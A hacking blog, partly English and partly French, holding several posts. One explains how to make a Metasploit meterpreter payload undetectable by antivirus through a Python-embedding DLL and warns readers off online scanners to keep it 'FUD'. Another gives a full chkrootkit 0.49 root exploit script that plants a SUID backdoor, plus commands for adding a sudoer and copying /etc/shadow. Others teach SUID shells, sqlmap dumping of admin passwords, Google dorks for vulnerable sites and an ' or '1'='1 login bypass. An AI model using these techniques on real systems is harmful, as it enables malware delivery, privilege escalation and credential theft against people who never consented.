How I found a way to evade all antivirus products

Hello readers ! 
These days I was interested about AV evasion and I learned so much about how antivirus software work and here I will write about my technique to evade every AV product  .
Many People using Windows think that an Antivirus can stop any Threat and with a AV installed their computer will be secured . This idea is false because advanced Malwares are created everyday without be detected by any Antivirus .

Slow-AV-Scans.jpg

How An Antivirus work ?

An AV has two scanning technique :

– Static analysis also called ‘signature-based analysis’ : The Antivirus product compare the md5/sha1 signature of potential threat with the signature of known malware , and if the signature of program scanned matches with those of known malwares then the program is moved to the quarantine of AV .

– Dynamic analysis also called ‘Runtime analysis’ : Once program executed if he’s not detected by signature , The Antivirus will try to detect malicious actions like decrypting payload in memory and plenty others .

An another type of protection is AV sandbox : when a file is suspected by user to be a malware he can be launched in AV sandbox without internet and without some resources an sandbox is like a docker container in linux , the sandbox can run a file without ‘infecting’ the real system .

What you will need to follow this writeup ?

– A main OS with Metasploit framework installed .
– A Windows virtual machine with an Antivirus software installed ( mine is Kaspersky free 2016 ) and mingw with gcc.exe and Python 2.7 .
In this writeup I will use Metasploit payloads as testing executables to evade AV .

Msfvenom

Msfvenom is the payload generator of Metasploit’s framework , payloads generated by msfvenom are standalone and they are quite good for Pentesting but they are detected by most of AV products ( See the results from a Online AV scanner with a simple meterpreter reverse shell payload ) .

Capture d'écran 2018-01-03 15:25:41

My idea about Antivirus evasion

I have tried many techniques to obtain a FUD executable but none of them worked :

– Writting an metasploit payload encoder in ruby to obfucate the malicious code of the Payload . After some research I realised that the utility of an MSF encoder is to escape bad characters like x00 not to evade AV software .
– Generating the payload in a interpreted language format (like .py .vbs .pl ) then compile it to executable .

Finally , I have a great idea : Since Metasploit python meterpreter payloads I wanted to embed the python payload In C program with Python developpement libraries like Python.h then compile it into an Windows Executable . With this technique I got 1/37 with Nodistribute Online scanner .
I wanted a Fully undetectable result so I tried to create an Malicious Dynamic Library with the Python Payload embedded and finally got an Fully Undetectable payload 🙂 Capture d'écran 2018-01-05 21:34:44

We can check exported functions from the Malicious dynamic library I’ve created !Capture d'écran 2018-01-05 22:51:49.png

We run the malicious function of the DLL !

Capture d'écran 2018-01-05 22:58:38

And BOOM we got a meterpreter session in our side 🙂 !
Capture d'écran 2018-01-05 23:02:47

How to create a DLL with python payload embedded ?

Here You can get the C source code of DLL https://pastebin.com/Q5ipn81s , To compile the DLL you need Python Developpement Libraries you also need libpython27.a (the static library who embed the python interpreter in the executable ) http://www58.zippyshare.com/v/pzoNUkGd/file.html and move it in C:\Python27\libs\

Compilation :

gcc.exe malicious_dll.c -IC:\Python27\include -LC:\Python27\libs -lpython27 -shared -o payload.dll

-shared = tell to gcc that the output will be an dynamic library
-I = tell to gcc where Python.h is located
-o = the output
-L = tell to gcc where the python interpreter library is located
-l = the name of python interpreter lib (libpython27.a)

Portability Problem

We got our malicious dynamic library but the problem is how we can distibute it during an Pentest for example we will need a bat file or an exe to call the malicious dll so how can we distribute the two files ?

To resolve the Problem , I created a Python Program who will hardcode the bytes of the dll in a character variable then write them in a new dll then call the function of dll , so the payload will be standalone : https://github.com/Hadi999/MyTools/blob/master/bypass-av.py !

Capture d'écran 2018-01-06 15:09:25.png

In our case we need to call the function ‘payload’ of payload.dll so the command will be
python bypass-av.py --library=payload.dll --function=payload --output=standalone_payload.c

we compile it in our Windows machine :
gcc.exe standalone_payload.c -o standalone_payload.exe

Capture d'écran 2018-01-06 16:25:40

Arghhh 1/38 for our standalone executable , but the only AV who detect it is Clamav who is an Unix Antivirus : our payload is for Windows so our Executable is Fully Undetectable !!! If you want an 0/37 you can distribute only the malicious dll and a batch file who call it . Its the end of the article I hope you liked it 🙂

Note: Please do not scan the samples with Online Scanner like Virustotal because they share results to AV and our Payload will not be FUD anymore .

Publicités

Local root exploit in Chkrootkit

Hello !

Security researchers have found an local exploit for Chkrootkit 0.49 who allow to a simple user to make root’s commands (the current Chkrootkit version is 0.50)

Proof of concept

When Chkrootkit is executed a file ‘/tmp/update’ is executed with the permissions of user who launched Chkrootkit .
For launch Chkrootkit we use sudo for run it as superuser like this

sudo chkrootkit

if we run it as a simple user like this :

hd@kali:/root$ chkrootkit
chkrootkit need root privileges

We must run Chkrookit as root , so the file ‘/tmp/update’ too .
Now we can create ‘/tmp/update’ for become root .

Privileges escalation

Make a user sudoer

#!/bin/bash
adduser bob sudo

Read /etc/shadow

#!/bin/bash
cat /etc/shadow > /tmp/shadow

and you read /tmp/shadow .

Get a root shell

#!/bin/bash
chown root:root /bin/sh ; chmod 4777 /bin/sh

For get a root shell you must execute ‘/bin/sh’

bash-4.4$ whoami
hd
bash-4.4$ /bin/sh
# whoami
root
#

Don’t forget to chmod ‘tmp/update’

chmod +x /tmp/update

End


'/tmp/update' is executed every time when Chkrootkit is executed so check the cron for find when chkrootkit is launched .
After this the content of '/tmp/update' file will be executed and you can become root or make command as root .

Exploit's doc : https://www.exploit-db.com/exploits/33899/

I've made a tool in python to get r00t using this exploit

#!/usr/bin/python

import commands
import sys
import time
import os

chkrootkit = '/usr/sbin/chkrootkit'

print("[*] checking if chkrootkit is installed")
try:
if (os.path.exists(chkrootkit)) == True :
print ("[+] chkrootkit is installed ")
if (os.path.exists(chkrootkit)) == False :
print ("[-] chkrootkit isn't installed ")
except :
sys.exit("[-] chkrootkit is not installed")

print("[*] checking if chkrootkit's version is vulnerable")
sortie = (commands.getoutput("{} -V ".format(chkrootkit)))
if "0.49" in (sortie):
print("[+] chkrootkit is vulnerable")
elif not "0.49" in (sortie):
print("[-] chkrootkit is not vulnerable")
sys.exit()

print("[*] writting SUID executable ")
fichier = open("/var/tmp/suid.c","w")

#simple SUID backdoor
fichier.write("#include \n")
fichier.write("#include \n")
fichier.write("#include \n")
fichier.write("#include \n")
fichier.write("")
fichier.write("int main()\n")
fichier.write("{")
fichier.write("setuid(0);\n")
fichier.write('system("$SHELL");\n')
fichier.write("return 0;\n")
fichier.write("}\n")
fichier.close()

print("[*] compiling SUID executable")
os.system("gcc /var/tmp/suid.c -o /var/tmp/suid")
print("[*] exploit chkrootkit vulnerability ")
update = open("/tmp/update","w")
update.write("#!/bin/bash")
update.write("chown root:root /var/tmp/suid ; chmod 4755 /var/tmp/suid")
os.system("chmod +x /tmp/update")
print("")
print("")
print("[*] waiting 5 minutes before chkrootkit execute our backdoor with root permissions")
time.sleep(300)
if "-rwsr-xr-x" in (commands.getoutput("ls -lah /var/tmp/suid")) :
print("got r00t ? ")
os.system("/var/tmp/suid")
elif "-rwsr-xr-x" not in (commands.getoutput("ls -lah /var/tmp/suid")) :
print("""[-] chkrootkit wasn't executed by crontab in 5 minutes ... You need wait chkrootkit's execution by crontab then you execute /var/tmp/suid and you will get an root-shell """)
sys.exit()

La dangerosité des programmes SUID

Bonjour , J’écris ce billet pour vous expliquer pourquoi est-ce que donner les permissions SUID à un programme est dangereux pour votre système linux .

hacker1

Introduction

Dans les systèmes Unix le  système de permissions est trés utilisé , il permet de définir qui peut modifier quoi ? Qui peut éxécuter quoi ?

Il existe dans le noyau Linux des permissions particulières  comme le SETUID , le SETGID,Le STICKY BIT , nous allons nous concentrer seulement sur la permission SETUID

Permission SETUID

En théorie , lorsque un programme est SETUID il permet d’etre éxécute par n’importe quel utilisateur avec les droits de son proprietaire  .

Prenons le cas suivant comme exemple : Bob est administrateur d’un système il détient les droits root , il a donné les permissions SUID a son outil  nommé ‘updater’ qui permet de mettre à jour son système sans avoir les droits root , Mary quant à  elle a trouvé une erreur de configuration dans le programme ‘updater’ qui lui permet de faire des commandes root alors que  normalement elle n’a pas le droit .

Exemple

pour l’exemple on crée un nouveau utilisateur avec des droits restreints :

root@kali:~# adduser hacker

regardons quel est le shell par défault grace à la variable $SHELL:

root@kali:~# echo $SHELL

maintenant on créé un simple programme qui ouvre un shell bash

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>

   int main()
   {
   setuid(0);
   system("/bin/bash");
   return 0;
   }

nous le compilons avec gcc :

root@kali:~# gcc root.c -o gotroot

maintenant nous faisons de l’utilisateur ‘root’ son propriétaire et lui donnons les droits SUID ;

root@kali:~# chown root:root gotroot ; chmod 4755 gotroot

nous nous connectons avec le compte ‘hacker’

root@kali:~#  su hacker

nous recherchons des programmes SUID  :

hacker@kali:~$ find / -user root -perm -4000 2>/dev/null

nous trouvons /tmp/gotroot

nous l’éxécutons

hacker@kali:~$/ tmp/gotroot
root@kali:~# whoami
root

Conclusion

Ainsi  donner les droits SUID à un programme dont on ne connait pas l’utilisation et dangereux . meme un programme verifié peut avoir des vulnérabilités du style injection de commandes ou dépassement de tampons et si’ils sont SUID une personne malveillante pourrait injecter un shellcode ou autre et obtenir l’accés root .

EDIT : pour des raisons de securité le SUID fonctionne que pour les programmes compilés et pas pour ceux qui sont intérpretés (le programme est lancé avec les droits de celui  qui le lance et pas celui qui le possède) : http://unix.stackexchange.com/questions/130906/why-does-setuid-not-work

Scanner un site web

Dans  les tutoriels  précédents nous avons vu  les bases  de Metasploit , et comment fonctionnaient les injections SQL avec  l’outil SQLmap ,aujourd’hui nous verrons comment scanner un site a la recherche de vulnérabilités , pour ca nous utiliserons  3 outils différents ,  Vega ,uniscan ,  nikto     .

Pour éviter d’avoir  a télécharger tous  ces outils , installer Kali Linux une distribution Linux dédié  a la sécurité et l’audit . Tous ces outils  sont déjà sur Kali Linux.

Scan avec Vega

Vega est un scanner puissant et facile d’utilisation , en plus il est  en interface graphique . Si vous êtes sur Windows ou autre télechargez-le ici : https://subgraph.com/vega/download/ il a été programmé en Java , pour l’utiliser vous avez besoin de Java.

Une fois ouvert cliquez sur Scan < Start new scan rentrez votre url puis finish , après environ 10 minutes il vous montrera les différentes vulnérabilités , si vous scannez un  site qui  ne  vous appartient , c’est illégal et vous pouvez allez en  prison , demander l’autorisation avant  de le faire.

Scan avec UniscMan et Nikto

Uniscan et Nikto sont deux scripts Perl qui scanneront votre site en ligne  de commandes, télécharger Nikto ici : https://cirt.net/Nikto2 et uniscan ici : http://sourceforge.net/projects/uniscan/ et  vous aurez besoin de perl  ici:https://www.perl.org/get.html

maintenant ouvrez uniscan et faites

perl uniscan.pl -u http://www.target.com -qweds

ca va  bruteforcer tout les répertoires pour trouver de s fichiers sensibles et des vulnérabilités LFI ou RFI.

maintenant faites de même avec nikto

perl nikto.pl -h http://www.target.com

ca scannera le site

Je ne suis pas responsable  de   ce que vous faites ou si  vous l’utiliser a des fins malveillants,vous etes le seul responsable.

Mon fb : https://www.facebook.com/profile.php?id=100010263225038

 

Les injections SQL

Aujourd’hui nous parlerons des injections SQL , les injections SQL sont les vulnérabilités les  plus présentes sur le web .

Ce tutoriel comportera 2 parties :

1.Explication des injections Sql

2.Exploitation de la vulnérabilité

Explication

l’injection SQl est  une vulnérabilité qui  exploite la mauvaise configuration d’une  base de données,                                                                                                    -avec l’injection SQL on   peut    récuperer le contenu d’une base de donnés.                                                                                                                                -on peut contourner  l’authentification d’un site.

Ainsi ,  on faisant une requête SQL modifié   on peut récuperer les mots  de passes d’un site  vulnérable   mais on peut aussi contourner le login , car quand vous rentrez votre mot de passe dans un site  ce site regarde dans la base de donnés s’il  correspond au votre mot de passe   ,  si nous tombons sur une   base de donnés vulnérable avec un bout de code nous nous connectons

trouver des sites vulnérables

Pour trouver des sites vulnérables faite une recherche avec ces dorks:

home.php?id=

index.php?id=

php?id=

pour savoir si un site est vulnérable rajouter un ‘ a la fin de l’url, si il y une erreur c’est  bon .

Exploitation

pour exploiter la  vulnérabilité SQL vous aurez besoin de SQLMAP un script python , si vous êtes sous Kali Linux il y est déjâ sinon télerchargez-le ici :  http://sqlmap.org/ et python  ici : https://www.python.org/download/releases/2.7.8/

sachez-le il est illégal de faire ca sur un site si  vous n’avez pas les droits , moi j’ai fait un environnement réaliste, imaginons que  mon site c’est https://www.aadzentreprise.org/home.php?id=2 ne cherchez pas il n’existe pas.

pour récuperer les bases de donnés faites

python sqlmap.py  -u https://www.aadzentreprise.org/home.php?id=2 –dbs                     la nous récuperenons les bases de données normalement  on doit voir ca

I—————–I
informations
I—————–I
aadzentreprise
I—————–I

comme vous voyez SQLMAP nous affiche 2 bases de donnés,  maintenant nous allons récuperer les  tables de la base de donnés  aadzentreprise , on fait

python sqlmap.py -u https://www.aadzentreprise.org/home.php?id=2 -D   aadzentreprise–tables

il nous affiche
I—————–I
home
I—————–I
users
I—————–I
site
I—————–I
page
I—————–I

nous avons  trouvé 4 tables , ce qui nous intéresse c’est la table des users,nous faisons

python sqlmap.py -u https://www.aadzentreprise.com/home.php?id=2 -D aadzentreprise  -T users  –columns

il affiche

I—————–I
admin_id
I—————–I
admin_name
I—————–I
admin_password
I—————–I

Bingo !!! nous avons trouvé les columns de l’admin il ne reste  qu’a voir leur contenu

nous faisons

python sqlmap.py -u https://www.aadzentreprise.com/home.php?id=2 -D aadzentreprise -T  users -C  admin_password –dump

il affiche

I—————–I
nounou123
I—————–I

Olé Olé on a trouvé le mot de passe de l’admin !!! Pas  si vite il se  peut que le mot de passe soit haché comme  ce-ci « AZsdd533:!:Fztez32 » pour le décrypter   utiliser ce site : md5decrypt.net

Contournement d’authentification

si vous  ne voulez pas vous casser la tête avec sqlmap , trouvez un site  vulnérable  aux injections SQL qui a un login  et faites ce-ci

Username : I admin I

Password I ‘ or ‘1’=’1 I

j’explique ce-ci va obliger le site a se connecter avec 1=1  comme  1 est toujours égal a 1 il sera forcé de se connecter.

j’espère que ce tutoriel vous aura plu 😀 sachez que c’est éducatif , je ne vous oblige  pas a pirater les sites des  autres , c’est illégal , vous êtes le seul responsable des dommages causés .

si vous avez des  problèmes contactez-moi :https://www.facebook.com/profile.php?id=100010263225038

 

 

 

 

 

 

 

Les bases de Metasploit

Bonjour,
pour mon premier tutoriel je vais vous apprendre à utiliser Metasploit . Pour rappel, Metasploit est le framework le plus utilisé dans le milieu de la securité informatique.

C’est quoi Metasploit ?

Metasploit est un projet open-source, ou un framework si vous préférez, écrit en Perl en 2003 par HD Moore, puis totalement réecrit en Ruby en 2007 par l’équipe Metasploit. À l’époque, HD Moore avait l’habitude  d’utiliser des petits exploits pour pirater des systèmes d’informations.  Metasploit est populaire car il est multi-platforme, et qu’on peut pénétrer un Windows, Mac OS X, iOS, Android, etc.  Aujourd’hui il contient des milliers d’exploits, des centaines de payloads et autres auxiliaires.

Exploits, payloads, auxiliaire, c’est quoi ?

Exploit: L’exploit est un petit script ou module qui exploite une vulnérabilité dans un système ou une application.

Payload: Le payload est un script, ou module, qui sera executé sur le système piraté. Un payload peut s’accoupler avec un fichier binaire (p.ex. un PDF) qui s’exécutera en même temps que ce dernier, en d’autre terme, un trojan ou cheval de troie.

Auxiliaire: Comme son nom l’indique c’est un utilitaire, généralement un scanner ou autre qui détecte les vulnérabilités d’une application.

Les logiciels de Metasploit

Metasploit est un projet qui contient principalement 3 logiciels:

Msfconsole: Msfconsole est le framework en ligne de commandes , accesible par le terminal.

Msfupdate: Msfupdate permet de mettre à jour Metasploit, utile sachant qu’il y a quotidiennement de nouveaux exploits intégrés au framework.

Armitage: Armitage est Metasploit en interface graphique (GUI).

Installer Metasploit

Si vous êtes sous Windows, vous pouvez le télécharger ici: http://www.metasploit.com/

Si vous êtes sur Kali Linux ou sur un autre OS de pentesting, alors il est de base.

Quelques commandes  simples

il est impossible de connaître tout les exploits par coeur, c’est pour celà que l’équipe de Metasploit a inclut un moteur de recherche dans son framework.

Pour utiliser la fonction recherche:

Msf > search « exploit » //pour  chercher un module, ou un exploit en particulier

Msf > show exploits ou show modules pour voir tout les exploits ou modules

En attendant la suit ou pour approfondir vos connaissances voici un ebook en format PDF et en français: http://tony3d3.free.fr/files/Hacking,-securite-et-tests-dintrusion-avec-Metasploit.pdf

Aurev0ir 😀